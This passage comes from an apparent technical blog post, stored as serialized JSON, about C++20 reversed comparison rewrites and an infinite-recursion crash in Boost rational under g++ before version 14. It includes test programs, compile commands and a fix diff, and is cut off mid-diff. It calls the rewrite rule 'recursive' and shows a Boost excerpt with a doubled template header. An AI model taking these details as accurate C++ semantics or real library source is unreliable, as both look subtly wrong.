5,"tag":216,"props":94668,"children":94669},{"style":6930},[94670],{"type":31,"value":7053},{"type":25,"tag":216,"props":94672,"children":94673},{"style":6941},[94674],{"type":31,"value":94675}," b",{"type":25,"tag":216,"props":94677,"children":94678},{"style":6958},[94679],{"type":31,"value":18755},{"type":25,"tag":216,"props":94681,"children":94682},{"class":6916,"line":7598},[94683,94688,94692,94697,94701],{"type":25,"tag":216,"props":94684,"children":94685},{"style":6958},[94686],{"type":31,"value":94687},"    std::cout ",{"type":25,"tag":216,"props":94689,"children":94690},{"style":6947},[94691],{"type":31,"value":94523},{"type":25,"tag":216,"props":94693,"children":94694},{"style":8199},[94695],{"type":31,"value":94696}," \"g++ \u003C14 resolved non-member\"",{"type":25,"tag":216,"props":94698,"children":94699},{"style":6947},[94700],{"type":31,"value":94533},{"type":25,"tag":216,"props":94702,"children":94703},{"style":6958},[94704],{"type":31,"value":94538},{"type":25,"tag":216,"props":94706,"children":94707},{"class":6916,"line":7607},[94708,94712,94716],{"type":25,"tag":216,"props":94709,"children":94710},{"style":6967},[94711],{"type":31,"value":20941},{"type":25,"tag":216,"props":94713,"children":94714},{"style":6930},[94715],{"type":31,"value":13006},{"type":25,"tag":216,"props":94717,"children":94718},{"style":6958},[94719],{"type":31,"value":6961},{"type":25,"tag":216,"props":94721,"children":94722},{"class":6916,"line":7630},[94723],{"type":25,"tag":216,"props":94724,"children":94725},{"style":6958},[94726],{"type":31,"value":7868},{"type":25,"tag":216,"props":94728,"children":94729},{"class":6916,"line":7639},[94730],{"type":25,"tag":216,"props":94731,"children":94732},{"emptyLinePlaceholder":16},[94733],{"type":31,"value":7636},{"type":25,"tag":216,"props":94735,"children":94736},{"class":6916,"line":7648},[94737,94741,94746],{"type":25,"tag":216,"props":94738,"children":94739},{"style":6930},[94740],{"type":31,"value":23001},{"type":25,"tag":216,"props":94742,"children":94743},{"style":7041},[94744],{"type":31,"value":94745}," main",{"type":25,"tag":216,"props":94747,"children":94748},{"style":6958},[94749],{"type":31,"value":19688},{"type":25,"tag":216,"props":94751,"children":94752},{"class":6916,"line":7716},[94753,94758,94762,94766,94770],{"type":25,"tag":216,"props":94754,"children":94755},{"style":6958},[94756],{"type":31,"value":94757},"    rational",{"type":25,"tag":216,"props":94759,"children":94760},{"style":6947},[94761],{"type":31,"value":9751},{"type":25,"tag":216,"props":94763,"children":94764},{"style":6930},[94765],{"type":31,"value":23001},{"type":25,"tag":216,"props":94767,"children":94768},{"style":6947},[94769],{"type":31,"value":5896},{"type":25,"tag":216,"props":94771,"children":94772},{"style":6958},[94773],{"type":31,"value":94774}," r;\n",{"type":25,"tag":216,"props":94776,"children":94777},{"class":6916,"line":7724},[94778,94782,94787,94791,94795],{"type":25,"tag":216,"props":94779,"children":94780},{"style":6967},[94781],{"type":31,"value":20941},{"type":25,"tag":216,"props":94783,"children":94784},{"style":6958},[94785],{"type":31,"value":94786}," r ",{"type":25,"tag":216,"props":94788,"children":94789},{"style":6947},[94790],{"type":31,"value":12522},{"type":25,"tag":216,"props":94792,"children":94793},{"style":6983},[94794],{"type":31,"value":6986},{"type":25,"tag":216,"props":94796,"children":94797},{"style":6958},[94798],{"type":31,"value":6961},{"type":25,"tag":216,"props":94800,"children":94801},{"class":6916,"line":7754},[94802],{"type":25,"tag":216,"props":94803,"children":94804},{"style":6958},[94805],{"type":31,"value":7868},{"type":25,"tag":2033,"props":94807,"children":94808},{},[94809],{"type":25,"tag":2037,"props":94810,"children":94811},{},[94812],{"type":31,"value":94813},"Compile with g++\u003C14:",{"type":25,"tag":206,"props":94815,"children":94817},{"code":94816,"language":8184,"meta":7,"className":8185,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[94818],{"type":25,"tag":82,"props":94819,"children":94820},{"__ignoreMap":7},[94821],{"type":25,"tag":216,"props":94822,"children":94823},{"class":6916,"line":6917},[94824,94829,94834,94839,94844,94848,94853],{"type":25,"tag":216,"props":94825,"children":94826},{"style":7041},[94827],{"type":31,"value":94828},"g++",{"type":25,"tag":216,"props":94830,"children":94831},{"style":8199},[94832],{"type":31,"value":94833}," -std=c++17",{"type":25,"tag":216,"props":94835,"children":94836},{"style":8199},[94837],{"type":31,"value":94838}," main.cpp",{"type":25,"tag":216,"props":94840,"children":94841},{"style":8199},[94842],{"type":31,"value":94843}," -o",{"type":25,"tag":216,"props":94845,"children":94846},{"style":8199},[94847],{"type":31,"value":34633},{"type":25,"tag":216,"props":94849,"children":94850},{"style":6958},[94851],{"type":31,"value":94852}," && ",{"type":25,"tag":216,"props":94854,"children":94855},{"style":7041},[94856],{"type":31,"value":94857},"./test\n",{"type":25,"tag":38,"props":94859,"children":94860},{},[94861],{"type":31,"value":94862},"Output (on g++ 11.4):",{"type":25,"tag":206,"props":94864,"children":94866},{"code":94865},"g++ \u003C14 resolved non-member\n",[94867],{"type":25,"tag":82,"props":94868,"children":94869},{"__ignoreMap":7},[94870],{"type":31,"value":94865},{"type":25,"tag":2033,"props":94872,"children":94873},{},[94874],{"type":25,"tag":2037,"props":94875,"children":94876},{},[94877],{"type":31,"value":94878},"Compile with clang++:",{"type":25,"tag":206,"props":94880,"children":94882},{"code":94881,"language":8184,"meta":7,"className":8185,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[94883],{"type":25,"tag":82,"props":94884,"children":94885},{"__ignoreMap":7},[94886],{"type":25,"tag":216,"props":94887,"children":94888},{"class":6916,"line":6917},[94889,94894,94898,94902,94906,94910,94914],{"type":25,"tag":216,"props":94890,"children":94891},{"style":7041},[94892],{"type":31,"value":94893},"clang++",{"type":25,"tag":216,"props":94895,"children":94896},{"style":8199},[94897],{"type":31,"value":94833},{"type":25,"tag":216,"props":94899,"children":94900},{"style":8199},[94901],{"type":31,"value":94838},{"type":25,"tag":216,"props":94903,"children":94904},{"style":8199},[94905],{"type":31,"value":94843},{"type":25,"tag":216,"props":94907,"children":94908},{"style":8199},[94909],{"type":31,"value":34633},{"type":25,"tag":216,"props":94911,"children":94912},{"style":6958},[94913],{"type":31,"value":94852},{"type":25,"tag":216,"props":94915,"children":94916},{"style":7041},[94917],{"type":31,"value":94857},{"type":25,"tag":38,"props":94919,"children":94920},{},[94921],{"type":31,"value":94922},"Output:",{"type":25,"tag":206,"props":94924,"children":94926},{"code":94925},"clang++ resolved member\n",[94927],{"type":25,"tag":82,"props":94928,"children":94929},{"__ignoreMap":7},[94930],{"type":31,"value":94925},{"type":25,"tag":38,"props":94932,"children":94933},{},[94934],{"type":31,"value":94935},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":25,"tag":22747,"props":94937,"children":94938},{},[],{"type":25,"tag":26,"props":94940,"children":94942},{"id":94941},"part-ii-c20s-symmetric-comparison-feature",[94943],{"type":31,"value":94944},"Part II: C++20’s Symmetric Comparison Feature",{"type":25,"tag":607,"props":94946,"children":94948},{"id":94947},"what-changed-in-c20",[94949],{"type":31,"value":94950},"What Changed in C++20?",{"type":25,"tag":38,"props":94952,"children":94953},{},[94954,94956,94969,94970,94975],{"type":31,"value":94955},"C++20 introduced the ",{"type":25,"tag":162,"props":94957,"children":94960},{"href":94958,"rel":94959},"https://en.cppreference.com/w/cpp/language/operator_comparison",[166],[94961,94963],{"type":31,"value":94962},"spaceship operator ",{"type":25,"tag":82,"props":94964,"children":94966},{"className":94965},[],[94967],{"type":31,"value":94968},"\u003C=>",{"type":31,"value":1301},{"type":25,"tag":9267,"props":94971,"children":94972},{},[94973],{"type":31,"value":94974},"defaulted comparison rewrites",{"type":31,"value":179},{"type":25,"tag":38,"props":94977,"children":94978},{},[94979,94981,94986],{"type":31,"value":94980},"When you define a two-argument ",{"type":25,"tag":82,"props":94982,"children":94984},{"className":94983},[],[94985],{"type":31,"value":94220},{"type":31,"value":94987},", C++20 may implicitly define the \"reversed\" version:",{"type":25,"tag":2033,"props":94989,"children":94990},{},[94991,95002],{"type":25,"tag":2037,"props":94992,"children":94993},{},[94994,94996],{"type":31,"value":94995},"If you define: ",{"type":25,"tag":82,"props":94997,"children":94999},{"className":94998},[],[95000],{"type":31,"value":95001},"bool operator==(T1, T2);",{"type":25,"tag":2037,"props":95003,"children":95004},{},[95005,95007,95013],{"type":31,"value":95006},"Then ",{"type":25,"tag":82,"props":95008,"children":95010},{"className":95009},[],[95011],{"type":31,"value":95012},"T2 == T1",{"type":31,"value":95014}," may call the same function by reversing the arguments.",{"type":25,"tag":38,"props":95016,"children":95017},{},[95018,95020,95025,95026,95031,95033,95039,95041,95046],{"type":31,"value":95019},"This rewrite is ",{"type":25,"tag":9267,"props":95021,"children":95022},{},[95023],{"type":31,"value":95024},"recursive",{"type":31,"value":19282},{"type":25,"tag":82,"props":95027,"children":95029},{"className":95028},[],[95030],{"type":31,"value":94212},{"type":31,"value":95032}," becomes ",{"type":25,"tag":82,"props":95034,"children":95036},{"className":95035},[],[95037],{"type":31,"value":95038},"b == a",{"type":31,"value":95040},", which becomes ",{"type":25,"tag":82,"props":95042,"children":95044},{"className":95043},[],[95045],{"type":31,"value":94212},{"type":31,"value":95047}," again, and so on — if not handled carefully.",{"type":25,"tag":38,"props":95049,"children":95050},{},[95051],{"type":31,"value":95052},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":25,"tag":22747,"props":95054,"children":95055},{},[],{"type":25,"tag":26,"props":95057,"children":95059},{"id":95058},"part-iii-the-boost-trapdoor",[95060],{"type":31,"value":95061},"Part III: The Boost Trapdoor",{"type":25,"tag":38,"props":95063,"children":95064},{},[95065,95067,95073,95075,95080],{"type":31,"value":95066},"The old Boost ",{"type":25,"tag":82,"props":95068,"children":95070},{"className":95069},[],[95071],{"type":31,"value":95072},"rational",{"type":31,"value":95074}," class (prior to v1.75) defined both member function and non-member function of ",{"type":25,"tag":82,"props":95076,"children":95078},{"className":95077},[],[95079],{"type":31,"value":94220},{"type":31,"value":1466},{"type":25,"tag":206,"props":95082,"children":95084},{"code":95083,"language":33066,"meta":7,"className":33064,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[95085],{"type":25,"tag":82,"props":95086,"children":95087},{"__ignoreMap":7},[95088,95123,95146,95158,95165,95172,95179,95186,95193,95216,95304,95311,95362,95369,95376,95383,95390,95425,95433,95461,95500,95565,95572,95592],{"type":25,"tag":216,"props":95089,"children":95090},{"class":6916,"line":6917},[95091,95095,95099,95103,95107,95111,95115,95119],{"type":25,"tag":216,"props":95092,"children":95093},{"style":6930},[95094],{"type":31,"value":70179},{"type":25,"tag":216,"props":95096,"children":95097},{"style":6958},[95098],{"type":31,"value":12666},{"type":25,"tag":216,"props":95100,"children":95101},{"style":6930},[95102],{"type":31,"value":74374},{"type":25,"tag":216,"props":95104,"children":95105},{"style":7369},[95106],{"type":31,"value":94594},{"type":25,"tag":216,"props":95108,"children":95109},{"style":6958},[95110],{"type":31,"value":7020},{"type":25,"tag":216,"props":95112,"children":95113},{"style":6930},[95114],{"type":31,"value":74374},{"type":25,"tag":216,"props":95116,"children":95117},{"style":7369},[95118],{"type":31,"value":94413},{"type":25,"tag":216,"props":95120,"children":95121},{"style":6958},[95122],{"type":31,"value":9937},{"type":25,"tag":216,"props":95124,"children":95125},{"class":6916,"line":6763},[95126,95130,95134,95138,95142],{"type":25,"tag":216,"props":95127,"children":95128},{"style":6930},[95129],{"type":31,"value":70179},{"type":25,"tag":216,"props":95131,"children":95132},{"style":6958},[95133],{"type":31,"value":12666},{"type":25,"tag":216,"props":95135,"children":95136},{"style":6930},[95137],{"type":31,"value":94408},{"type":25,"tag":216,"props":95139,"children":95140},{"style":7369},[95141],{"type":31,"value":94413},{"type":25,"tag":216,"props":95143,"children":95144},{"style":6958},[95145],{"type":31,"value":9937},{"type":25,"tag":216,"props":95147,"children":95148},{"class":6916,"line":6772},[95149,95153],{"type":25,"tag":216,"props":95150,"children":95151},{"style":6930},[95152],{"type":31,"value":74374},{"type":25,"tag":216,"props":95154,"children":95155},{"style":7369},[95156],{"type":31,"value":95157}," rational\n",{"type":25,"tag":216,"props":95159,"children":95160},{"class":6916,"line":6999},[95161],{"type":25,"tag":216,"props":95162,"children":95163},{"style":6958},[95164],{"type":31,"value":14830},{"type":25,"tag":216,"props":95166,"children":95167},{"class":6916,"line":7104},[95168],{"type":25,"tag":216,"props":95169,"children":95170},{"style":6958},[95171],{"type":31,"value":24293},{"type":25,"tag":216,"props":95173,"children":95174},{"class":6916,"line":7210},[95175],{"type":25,"tag":216,"props":95176,"children":95177},{"style":6930},[95178],{"type":31,"value":94441},{"type":25,"tag":216,"props":95180,"children":95181},{"class":6916,"line":7238},[95182],{"type":25,"tag":216,"props":95183,"children":95184},{"style":6958},[95185],{"type":31,"value":24293},{"type":25,"tag":216,"props":95187,"children":95188},{"class":6916,"line":7251},[95189],{"type":25,"tag":216,"props":95190,"children":95191},{"style":6958},[95192],{"type":31,"value":65748},{"type":25,"tag":216,"props":95194,"children":95195},{"class":6916,"line":7269},[95196,95200,95204,95208,95212],{"type":25,"tag":216,"props":95197,"children":95198},{"style":6930},[95199],{"type":31,"value":94449},{"type":25,"tag":216,"props":95201,"children":95202},{"style":6958},[95203],{"type":31,"value":12666},{"type":25,"tag":216,"props":95205,"children":95206},{"style":6930},[95207],{"type":31,"value":74374},{"type":25,"tag":216,"props":95209,"children":95210},{"style":7369},[95211],{"type":31,"value":9864},{"type":25,"tag":216,"props":95213,"children":95214},{"style":6958},[95215],{"type":31,"value":9937},{"type":25,"tag":216,"props":95217,"children":95218},{"class":6916,"line":7290},[95219,95224,95228,95233,95237,95241,95245,95250,95254,95258,95262,95266,95270,95274,95279,95283,95287,95291,95295,95299],{"type":25,"tag":216,"props":95220,"children":95221},{"style":6958},[95222],{"type":31,"value":95223},"    BOOST_CONSTEXPR ",{"type":25,"tag":216,"props":95225,"children":95226},{"style":6930},[95227],{"type":31,"value":94408},{"type":25,"tag":216,"props":95229,"children":95230},{"style":6958},[95231],{"type":31,"value":95232}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":25,"tag":216,"props":95234,"children":95235},{"style":7369},[95236],{"type":31,"value":177},{"type":25,"tag":216,"props":95238,"children":95239},{"style":6958},[95240],{"type":31,"value":7020},{"type":25,"tag":216,"props":95242,"children":95243},{"style":7369},[95244],{"type":31,"value":94642},{"type":25,"tag":216,"props":95246,"children":95247},{"style":6958},[95248],{"type":31,"value":95249},">::",{"type":25,"tag":216,"props":95251,"children":95252},{"style":7369},[95253],{"type":31,"value":43109},{"type":25,"tag":216,"props":95255,"children":95256},{"style":6958},[95257],{"type":31,"value":7020},{"type":25,"tag":216,"props":95259,"children":95260},{"style":6930},[95261],{"type":31,"value":33640},{"type":25,"tag":216,"props":95263,"children":95264},{"style":6958},[95265],{"type":31,"value":95249},{"type":25,"tag":216,"props":95267,"children":95268},{"style":7369},[95269],{"type":31,"value":36713},{"type":25,"tag":216,"props":95271,"children":95272},{"style":6930},[95273],{"type":31,"value":94477},{"type":25,"tag":216,"props":95275,"children":95276},{"style":6958},[95277],{"type":31,"value":95278},"== (",{"type":25,"tag":216,"props":95280,"children":95281},{"style":6930},[95282],{"type":31,"value":13605},{"type":25,"tag":216,"props":95284,"children":95285},{"style":7369},[95286],{"type":31,"value":9864},{"type":25,"tag":216,"props":95288,"children":95289},{"style":6930},[95290],{"type":31,"value":7053},{"type":25,"tag":216,"props":95292,"children":95293},{"style":6941},[95294],{"type":31,"value":7348},{"type":25,"tag":216,"props":95296,"children":95297},{"style":6958},[95298],{"type":31,"value":7030},{"type":25,"tag":216,"props":95300,"children":95301},{"style":6930},[95302],{"type":31,"value":95303},"const\n",{"type":25,"tag":216,"props":95305,"children":95306},{"class":6916,"line":7299},[95307],{"type":25,"tag":216,"props":95308,"children":95309},{"style":6958},[95310],{"type":31,"value":33141},{"type":25,"tag":216,"props":95312,"children":95313},{"class":6916,"line":7551},[95314,95319,95324,95328,95332,95336,95340,95344,95348,95353,95357],{"type":25,"tag":216,"props":95315,"children":95316},{"style":6967},[95317],{"type":31,"value":95318},"       return",{"type":25,"tag":216,"props":95320,"children":95321},{"style":6958},[95322],{"type":31,"value":95323}," ((den ",{"type":25,"tag":216,"props":95325,"children":95326},{"style":6947},[95327],{"type":31,"value":12522},{"type":25,"tag":216,"props":95329,"children":95330},{"style":7041},[95331],{"type":31,"value":94413},{"type":25,"tag":216,"props":95333,"children":95334},{"style":6958},[95335],{"type":31,"value":1844},{"type":25,"tag":216,"props":95337,"children":95338},{"style":6983},[95339],{"type":31,"value":184},{"type":25,"tag":216,"props":95341,"children":95342},{"style":6958},[95343],{"type":31,"value":12784},{"type":25,"tag":216,"props":95345,"children":95346},{"style":6947},[95347],{"type":31,"value":77161},{"type":25,"tag":216,"props":95349,"children":95350},{"style":6958},[95351],{"type":31,"value":95352}," (num ",{"type":25,"tag":216,"props":95354,"children":95355},{"style":6947},[95356],{"type":31,"value":12522},{"type":25,"tag":216,"props":95358,"children":95359},{"style":6958},[95360],{"type":31,"value":95361}," i));\n",{"type":25,"tag":216,"props":95363,"children":95364},{"class":6916,"line":7568},[95365],{"type":25,"tag":216,"props":95366,"children":95367},{"style":6958},[95368],{"type":31,"value":7305},{"type":25,"tag":216,"props":95370,"children":95371},{"class":6916,"line":7585},[95372],{"type":25,"tag":216,"props":95373,"children":95374},{"style":6958},[95375],{"type":31,"value":24293},{"type":25,"tag":216,"props":95377,"children":95378},{"class":6916,"line":7598},[95379],{"type":25,"tag":216,"props":95380,"children":95381},{"style":6958},[95382],{"type":31,"value":7868},{"type":25,"tag":216,"props":95384,"children":95385},{"class":6916,"line":7607},[95386],{"type":25,"tag":216,"props":95387,"children":95388},{"emptyLinePlaceholder":16},[95389],{"type":31,"value":7636},{"type":25,"tag":216,"props":95391,"children":95392},{"class":6916,"line":7630},[95393,95397,95401,95405,95409,95413,95417,95421],{"type":25,"tag":216,"props":95394,"children":95395},{"style":6930},[95396],{"type":31,"value":70179},{"type":25,"tag":216,"props":95398,"children":95399},{"style":6958},[95400],{"type":31,"value":12666},{"type":25,"tag":216,"props":95402,"children":95403},{"style":6930},[95404],{"type":31,"value":74374},{"type":25,"tag":216,"props":95406,"children":95407},{"style":7369},[95408],{"type":31,"value":94594},{"type":25,"tag":216,"props":95410,"children":95411},{"style":6958},[95412],{"type":31,"value":7020},{"type":25,"tag":216,"props":95414,"children":95415},{"style":6930},[95416],{"type":31,"value":74374},{"type":25,"tag":216,"props":95418,"children":95419},{"style":7369},[95420],{"type":31,"value":94413},{"type":25,"tag":216,"props":95422,"children":95423},{"style":6958},[95424],{"type":31,"value":9937},{"type":25,"tag":216,"props":95426,"children":95427},{"class":6916,"line":7639},[95428],{"type":25,"tag":216,"props":95429,"children":95430},{"style":6958},[95431],{"type":31,"value":95432},"BOOST_CONSTEXPR\n",{"type":25,"tag":216,"props":95434,"children":95435},{"class":6916,"line":7648},[95436,95441,95446,95451,95456],{"type":25,"tag":216,"props":95437,"children":95438},{"style":6930},[95439],{"type":31,"value":95440},"inline",{"type":25,"tag":216,"props":95442,"children":95443},{"style":6930},[95444],{"type":31,"value":95445}," typename",{"type":25,"tag":216,"props":95447,"children":95448},{"style":6958},[95449],{"type":31,"value":95450}," boost::",{"type":25,"tag":216,"props":95452,"children":95453},{"style":7369},[95454],{"type":31,"value":95455},"enable_if_c",{"type":25,"tag":216,"props":95457,"children":95458},{"style":6947},[95459],{"type":31,"value":95460}," \u003C\n",{"type":25,"tag":216,"props":95462,"children":95463},{"class":6916,"line":7716},[95464,95469,95474,95478,95482,95487,95491,95495],{"type":25,"tag":216,"props":95465,"children":95466},{"style":6958},[95467],{"type":31,"value":95468},"   rational_detail::is_compatible_integer\u003C",{"type":25,"tag":216,"props":95470,"children":95471},{"style":7369},[95472],{"type":31,"value":95473},"Arg",{"type":25,"tag":216,"props":95475,"children":95476},{"style":6958},[95477],{"type":31,"value":7020},{"type":25,"tag":216,"props":95479,"children":95480},{"style":7369},[95481],{"type":31,"value":94642},{"type":25,"tag":216,"props":95483,"children":95484},{"style":6958},[95485],{"type":31,"value":95486},">::value, ",{"type":25,"tag":216,"props":95488,"children":95489},{"style":6930},[95490],{"type":31,"value":33640},{"type":25,"tag":216,"props":95492,"children":95493},{"style":6947},[95494],{"type":31,"value":5896},{"type":25,"tag":216,"props":95496,"children":95497},{"style":6958},[95498],{"type":31,"value":95499},"::type\n",{"type":25,"tag":216,"props":95501,"children":95502},{"class":6916,"line":7724},[95503,95508,95513,95517,95521,95525,95529,95533,95537,95541,95545,95549,95553,95557,95561],{"type":25,"tag":216,"props":95504,"children":95505},{"style":6930},[95506],{"type":31,"value":95507},"   operator",{"type":25,"tag":216,"props":95509,"children":95510},{"style":6958},[95511],{"type":31,"value":95512}," == (",{"type":25,"tag":216,"props":95514,"children":95515},{"style":6930},[95516],{"type":31,"value":13605},{"type":25,"tag":216,"props":95518,"children":95519},{"style":7369},[95520],{"type":31,"value":94594},{"type":25,"tag":216,"props":95522,"children":95523},{"style":6930},[95524],{"type":31,"value":7053},{"type":25,"tag":216,"props":95526,"children":95527},{"style":6941},[95528],{"type":31,"value":94675},{"type":25,"tag":216,"props":95530,"children":95531},{"style":6958},[95532],{"type":31,"value":7020},{"type":25,"tag":216,"props":95534,"children":95535},{"style":6930},[95536],{"type":31,"value":13605},{"type":25,"tag":216,"props":95538,"children":95539},{"style":7369},[95540],{"type":31,"value":94429},{"type":25,"tag":216,"props":95542,"children":95543},{"style":6958},[95544],{"type":31,"value":9751},{"type":25,"tag":216,"props":95546,"children":95547},{"style":7369},[95548],{"type":31,"value":94642},{"type":25,"tag":216,"props":95550,"children":95551},{"style":6958},[95552],{"type":31,"value":5896},{"type":25,"tag":216,"props":95554,"children":95555},{"style":6930},[95556],{"type":31,"value":7053},{"type":25,"tag":216,"props":95558,"children":95559},{"style":6941},[95560],{"type":31,"value":93801},{"type":25,"tag":216,"props":95562,"children":95563},{"style":6958},[95564],{"type":31,"value":7101},{"type":25,"tag":216,"props":95566,"children":95567},{"class":6916,"line":7754},[95568],{"type":25,"tag":216,"props":95569,"children":95570},{"style":6958},[95571],{"type":31,"value":14830},{"type":25,"tag":216,"props":95573,"children":95574},{"class":6916,"line":7762},[95575,95579,95583,95587],{"type":25,"tag":216,"props":95576,"children":95577},{"style":6967},[95578],{"type":31,"value":43314},{"type":25,"tag":216,"props":95580,"children":95581},{"style":6958},[95582],{"type":31,"value":20716},{"type":25,"tag":216,"props":95584,"children":95585},{"style":6947},[95586],{"type":31,"value":12522},{"type":25,"tag":216,"props":95588,"children":95589},{"style":6958},[95590],{"type":31,"value":95591}," b; \n",{"type":25,"tag":216,"props":95593,"children":95594},{"class":6916,"line":7794},[95595],{"type":25,"tag":216,"props":95596,"children":95597},{"style":6958},[95598],{"type":31,"value":7868},{"type":25,"tag":38,"props":95600,"children":95601},{},[95602,95604,95610],{"type":31,"value":95603},"This was designed under C++17 semantics. Back then, ",{"type":25,"tag":82,"props":95605,"children":95607},{"className":95606},[],[95608],{"type":31,"value":95609},"rhs == lhs",{"type":31,"value":95611}," would fall back to member overloads if available. All good.",{"type":25,"tag":38,"props":95613,"children":95614},{},[95615,95617,95622,95623,95629],{"type":31,"value":95616},"But under ",{"type":25,"tag":82,"props":95618,"children":95620},{"className":95619},[],[95621],{"type":31,"value":94166},{"type":31,"value":25458},{"type":25,"tag":82,"props":95624,"children":95626},{"className":95625},[],[95627],{"type":31,"value":95628},"G++ \u003C 14",{"type":31,"value":1466},{"type":25,"tag":2033,"props":95631,"children":95632},{},[95633,95638,95643,95648],{"type":25,"tag":2037,"props":95634,"children":95635},{},[95636],{"type":31,"value":95637},"G++ incorrectly chooses this non-member operator first",{"type":25,"tag":2037,"props":95639,"children":95640},{},[95641],{"type":31,"value":95642},"C++20 reverses the comparison",{"type":25,"tag":2037,"props":95644,"children":95645},{},[95646],{"type":31,"value":95647},"Which calls the same function again with arguments flipped",{"type":25,"tag":2037,"props":95649,"children":95650},{},[95651],{"type":31,"value":95652},"And so on...",{"type":25,"tag":38,"props":95654,"children":95655},{},[95656,95658,95663],{"type":31,"value":95657},"This creates ",{"type":25,"tag":9267,"props":95659,"children":95660},{},[95661],{"type":31,"value":95662},"infinite recursion",{"type":31,"value":179},{"type":25,"tag":38,"props":95665,"children":95666},{},[95667],{"type":31,"value":95668},"A minimal example:",{"type":25,"tag":206,"props":95670,"children":95672},{"code":95671,"language":33066,"meta":7,"className":33064,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[95673],{"type":25,"tag":82,"props":95674,"children":95675},{"__ignoreMap":7},[95676,95684,95696,95703,95718,95742,95765],{"type":25,"tag":216,"props":95677,"children":95678},{"class":6916,"line":6917},[95679],{"type":25,"tag":216,"props":95680,"children":95681},{"style":6921},[95682],{"type":31,"value":95683},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":25,"tag":216,"props":95685,"children":95686},{"class":6916,"line":6763},[95687,95691],{"type":25,"tag":216,"props":95688,"children":95689},{"style":6967},[95690],{"type":31,"value":94380},{"type":25,"tag":216,"props":95692,"children":95693},{"style":8199},[95694],{"type":31,"value":95695}," \u003Cboost/rational.hpp>\n",{"type":25,"tag":216,"props":95697,"children":95698},{"class":6916,"line":6772},[95699],{"type":25,"tag":216,"props":95700,"children":95701},{"emptyLinePlaceholder":16},[95702],{"type":31,"value":7636},{"type":25,"tag":216,"props":95704,"children":95705},{"class":6916,"line":6999},[95706,95710,95714],{"type":25,"tag":216,"props":95707,"children":95708},{"style":6930},[95709],{"type":31,"value":23001},{"type":25,"tag":216,"props":95711,"children":95712},{"style":7041},[95713],{"type":31,"value":94745},{"type":25,"tag":216,"props":95715,"children":95716},{"style":6958},[95717],{"type":31,"value":19688},{"type":25,"tag":216,"props":95719,"children":95720},{"class":6916,"line":7104},[95721,95726,95730,95734,95738],{"type":25,"tag":216,"props":95722,"children":95723},{"style":6958},[95724],{"type":31,"value":95725},"    boost::rational",{"type":25,"tag":216,"props":95727,"children":95728},{"style":6947},[95729],{"type":31,"value":9751},{"type":25,"tag":216,"props":95731,"children":95732},{"style":6930},[95733],{"type":31,"value":23001},{"type":25,"tag":216,"props":95735,"children":95736},{"style":6947},[95737],{"type":31,"value":5896},{"type":25,"tag":216,"props":95739,"children":95740},{"style":6958},[95741],{"type":31,"value":94774},{"type":25,"tag":216,"props":95743,"children":95744},{"class":6916,"line":7210},[95745,95749,95753,95757,95761],{"type":25,"tag":216,"props":95746,"children":95747},{"style":6967},[95748],{"type":31,"value":20941},{"type":25,"tag":216,"props":95750,"children":95751},{"style":6958},[95752],{"type":31,"value":94786},{"type":25,"tag":216,"props":95754,"children":95755},{"style":6947},[95756],{"type":31,"value":12522},{"type":25,"tag":216,"props":95758,"children":95759},{"style":6983},[95760],{"type":31,"value":6986},{"type":25,"tag":216,"props":95762,"children":95763},{"style":6958},[95764],{"type":31,"value":6961},{"type":25,"tag":216,"props":95766,"children":95767},{"class":6916,"line":7238},[95768],{"type":25,"tag":216,"props":95769,"children":95770},{"style":6958},[95771],{"type":31,"value":7868},{"type":25,"tag":38,"props":95773,"children":95774},{},[95775],{"type":31,"value":95776},"Expected output: nothing.",{"type":25,"tag":38,"props":95778,"children":95779},{},[95780],{"type":31,"value":95781},"Actual: segmentation fault (stack overflow).",{"type":25,"tag":38,"props":95783,"children":95784},{},[95785,95787,95794],{"type":31,"value":95786},"This exact pattern was ",{"type":25,"tag":162,"props":95788,"children":95791},{"href":95789,"rel":95790},"https://github.com/boostorg/rational/issues/43",[166],[95792],{"type":31,"value":95793},"reported and fixed in Boost rational",{"type":31,"value":95795},", but only in version 1.75+.",{"type":25,"tag":38,"props":95797,"children":95798},{},[95799],{"type":31,"value":95800},"Here’s the one-line fix:",{"type":25,"tag":206,"props":95802,"children":95804},{"code":95803,"language":44320,"meta":7,"className":44318,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[95805],{"type":25,"tag":82,"props":95806,"children":95807},{"__ignoreMap":7},[95808,95816,95823,95831,95839,95847,95854,95862,95870],{"type":25,"tag":216,"props":95809,"children":95810},{"class":6916,"line":6917},[95811],{"type":25,"tag":216,"props":95812,"children":95813},{"style":6958},[95814],{"type":31,"value":95815},"template \u003Cclass Arg, class IntType>\n",{"type":25,"tag":216,"props":95817,"children":95818},{"class":6916,"line":6763},[95819],{"type":25,"tag":216,"props":95820,"children":95821},{"style":6958},[95822],{"type":31,"value":95432},{"type":25,"tag":216,"props":95824,"children":95825},{"class":6916,"line":6772},[95826],{"type":25,"tag":216,"props":95827,"children":95828},{"style":6958},[95829],{"type":31,"value":95830},"inline typename boost::enable_if_c \u003C\n",{"type":25,"tag":216,"props":95832,"children":95833},{"class":6916,"line":6999},[95834],{"type":25,"tag":216,"props":95835,"children":95836},{"style":6958},[95837],{"type":31,"value":95838},"   